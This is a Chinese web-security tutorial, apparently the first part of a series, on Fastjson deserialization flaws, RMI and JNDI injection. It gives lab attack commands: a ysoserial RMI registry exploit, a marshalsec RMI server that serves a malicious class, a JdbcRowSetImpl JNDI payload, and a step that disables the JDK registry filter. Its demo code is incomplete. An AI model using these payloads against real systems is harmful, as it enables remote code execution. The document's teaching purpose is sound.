【WEB安全】Fastjson反序列化(上)

Fastjson反序列化

一、简介

二、序列化与反序列化

三、Fastjson漏洞介绍

1、漏洞原理

2、RMI

3、JNDI

4、JEP290

四、编写的简单测试的环境

五、漏洞版本

1、fastjson<=1.2.24

1.1、TemplatesImpl 利用链分析

1.2、JNDI利用链分析

1.3、JNDI利用

1.4、官方进行的修复

2、fastjson<=1.2.41

3、fastjson<=1.2.42

4、fastjson<=1.2.45

5、fastjson<=1.2.47

6、1.2.48<=fastjson<1.2.68

7、fastjson<=1.2.68



一、简介

Java 序列化及反序列化处理在基于Java 架构的Web应用中具有尤为重要的作用。例如位于网络两端、彼此不共享内存信息的两个Web应用在进行远程通信时,无论相互间发送何种类型的数据,在网络中实际上都是以二进制序列的形式传输的。为此,发送方必须将要发送的Java 对象序列化为字节流,接收方则需要将字节流再反序列化还原得到Java 对象,才能实现正常通信。当攻击者输入精心构造的字节流被反序列化为恶意对象时,就会造成一系列的安全问题。

【WEB安全】Fastjson反序列化(上)

二、序列化与反序列化

序列化是指将对象按照一定格式转化为字节流或字符串

反序列化是序列化的逆过程,将具有一定格式的字节流或字符串还原成对象。

Fastjson可以将对象转换成Json字符串,XMLDecoder 可以将XML字符串还原成字符串,所以也是序列化和反序列化。

序列化可以将对象转换成字节流后保存、传输。反序列化则可以将字节流转换成对象,注入进程序之中,也就是说,不加以控制的反序列化,可以在程序中注入任意一个对象。

三、Fastjson漏洞介绍

与原生的java反序列化相比,FastJson未使用readObject()方法进行反序列化,而是使用了自定义的一套方法,在反序列化的过程中,调用getter和setter方法将JSON字符串还原成对象。


1.2.24版本发布了反序列化漏洞,1.2.25关闭了默认开启的AutoType并加入黑名单


1.2.41和1.2.42 对类名处理不当,造成黑名单绕过


1.2.45中发现了不在黑名单中的利用类


1.2.47中发现了缓存机制可以绕过AutoType


1.2.68又通过缓存绕过了AutoType


从上述Fastjson反序列化漏洞的演化历程可以看出,针对Fastjson的漏洞挖掘主要在于以下两个方面。

· 寻找新的利用链,绕过黑名单。

· 寻找绕过AutoType的方式。

1、漏洞原理

FastJson将JSON还原成对象的方法有三种

  • parse(String text)
  • parseObject(String text)
  • parseObject(String text,Class\clazz)

当通过这3种方法将JSON还原成对象时,FastJson自动调用类中的setter方法和无参构造函数,以及满足条件的getter方法:

  • 只存在getter方法,无setter方法
  • 方法名称长度大于等于4
  • 非静态方法
  • 方法名以get开头,且第四个字符为大写字母如getAge
  • 方法无需传参
  • 方法返回值集成自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong的其中一种

【WEB安全】Fastjson反序列化(上)

【WEB安全】Fastjson反序列化(上)

parseObject(String text)方法将JSON串还原成对象后,会再调用一个xxx方法,所以类中搜易getter方法都会被执行

【WEB安全】Fastjson反序列化(上)

2、RMI

Java远程方法调用,即Java RMI (Java Remote Method Invocation),即允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。这两个虚拟机可以运行在相同计算机上的不同进程中,也可以运行在网络上的不同计算机中。在网络传输的过程中,RMI中的对象是通过序列化方式进行编码传输的。这意味着,RMI在接收到经过序列化编码的对象后会进行反序列化

ps:实验要修改\jdk1.8.0_191\jre\lib\security\java.security文件

#sun.rmi.registry.registryFilter=\
sun.rmi.registry.registryFilter=*
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1088 CommonsCollections5 "calc"

利用ysoserial攻击目标RMI开启的1088端口,RMI自动反序列化目标传过来的字节流,攻击要求,已知目标端口,已知所用的组件

3、JNDI

JNDI (Java Naming and Directory Interface) 是一组应用程序接口,目的是方便查找远程或是本地对象。典型的应用场景是配置数据源,除此之外,JNDI还可以访问现有的目录和服务,例如:LDAP、RMI、CORBA、DNS、NDS、NIS。


当程序通过JNDI获取外部远程对象过程中,程序被控制访问恶意的服务地址(例如:指向恶意的RMI服务地址),并加载和实例化恶意对象时,将会造成JNDI注入。JNDI注入利用过程如下。

  1. 当客户端程序中调用了InitialContext.lookup(url),且url可被输入控制,指向精心构造好的RMI服务地址。
  2. 恶意的RMI服务会向受攻击的客户端返回一个Reference,用于获取恶意的Factory类。
  3. 当客户端执行lookup()时,会对恶意的Factory类进行加载并实例化,通过factory.getObjectInstance()获取外部远程对象实例。
  4. 攻击者在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码,达到远程代码执行的效果。

编译生成.class文件

在文件目录下开启http服务

python -m http.server

使用marshalsec工具,开启监听本地的1099端口

java -cp marshalsec.jar marshalsec.jnid.RMIRefServer http://127.0.0.1:8000/#eval.class

在程序中构造恶意代码

被攻击的程序会先连接到工具启动的RMI服务
会去http服务上获取恶意的类
恶意的类因为写在了静态代码块中,加载时就会自动调用 

4、JEP290

JEP290是官方发布的用于缓解反序列化漏洞的措施,从8u121,7u13,6u141版本开始,JDK为RMI注册表和RMI分布式垃圾收集器内置了过滤器,只允许特定的类进行反序列化。


四、编写的简单测试的环境

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class FastJsonDemo {
    public static void main(String[] args){
        String str = command;
        JSON.parse(str, Feature.SupportNonPublicField);
        /*
        还可以是JNDI的方式
         {
            "@type": "com.sun.rowset.JdbcRowSetImpl",
            "dataSourceName": "rmi://127.0.0.1:1999/Exploit",
            "autoCommit": true
        }
         */
    }
}
上一篇:Client Side Cache 和 Server Side Cache 的区别


下一篇:goaccess日志分析工具